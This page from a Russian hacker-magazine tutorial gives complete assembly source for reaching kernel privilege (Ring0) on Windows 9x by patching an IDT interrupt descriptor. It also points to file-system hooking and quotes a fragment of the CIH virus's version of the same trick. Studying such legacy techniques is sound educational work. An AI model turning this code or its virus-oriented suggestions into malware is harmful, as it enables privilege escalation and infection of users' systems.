|

Ring0
Shen (_shen_@mail.ru)
Спецвыпуск Xakep, номер #035, стр. 035-062-5
Однако, мы задержались, пора домой:
iret
Прежде чем выходить, нужно восстановить адрес старого обработчика:
mov eax,dword ptr [saved]
mov word ptr [ebx],ax
shr eax,16
mov word ptr [ebx+6],ax
А теперь можно и завершаться:
push 00h
call ExitProcess
Полный текст программы
; Ring0.asm
; компиляция:
; tasm32 /ml Ring0.asm
; tlink32 Ring0.obj,,,import32.lib
.386p ; нам понадобится привилегированная команда sidt
.model flat
extrn ExitProcess:proc
extrn MessageBoxA:proc
intnum equ 04h ; лучше перехватывать малоиспользуемые прерывания
.data
idtr df 0 ; сюда мы сохраним IDTR
saved dd 0 ; сюда мы сохраним адрес старого обработчика
capt db "Message!",0
text1 db "At Ring3 now. Boring.",0
text2 db "I've just returned from Ring0!",0
.code
start:
push 00h
push offset capt
push offset text1
push 00h
call MessageBoxA
; найдем адрес IDT и нужного нам дескриптора
sidt fword ptr [idtr] ; сохраняем IDTR в переменную idtr
mov ebx,dword ptr [idtr+2] ; нам нужен адрес начала, а не предел
add ebx,intnum*8 ; переходим на начало нужного дескриптора
; сохраним адрес оригинального обработчика
mov ax,word ptr [ebx+6] ; кладем в ax старшее слово адреса обработчика
shl eax, 16 ; сдвигаем его в старшее слово eax
mov ax,word ptr [ebx] ; кладем в ax младшее слово адреса обработчика
mov dword ptr [saved],eax ; сохраняем
; меняем адрес обработчика на адрес нашей процедуры
mov eax, offset ring0code ; кладем в ax смещение процедуры
mov word ptr [ebx],ax ; заменяем младшее слово адреса
shr eax,16 ; сдвигаем старшее слово eax в младшее
mov word ptr [ebx+6],ax ;заменяем старшее слово адреса
; уходим в Ring0
int intnum
; восстанавливаем адрес оригинального обработчика
mov eax,dword ptr [saved]
mov word ptr [ebx],ax
shr eax,16
mov word ptr [ebx+6],ax
; сообщим миру, что мы пережили это путешествие
push 00h
push offset capt
push offset text2
push 00h
call MessageBoxA
; выходим
push 00h
call ExitProcess
; в пределах этой процедуры мы имеем наивысший уровень привилегий
ring0code:
; здесь мы можем делать что угодно,
; ведь мы уже в нулевом кольце!
iret ; возвращаемся в обыденность
end start
Что дальше?
Что делать, оказавшись в нулевом кольце? Открывать Win95DDK и учиться пользоваться VxD-сервисами. Тебе наверняка понравится функция IFSMgr_InstallFileSystemApiHook :).
Скажу еще, что этот способ ухода в Ring0 не единственный, но самый простой. И именно этот метод использует небезызвестный WIN95.CIH (HookExceptionNumber – номер перехватываемого исключения, MyExceptionHook – процедура инициализации вируса на нулевом кольце):
push eax
sidt [esp-02h]
Назад на стр. 035-062-4 Содержание Вперед на стр. 035-062-6
|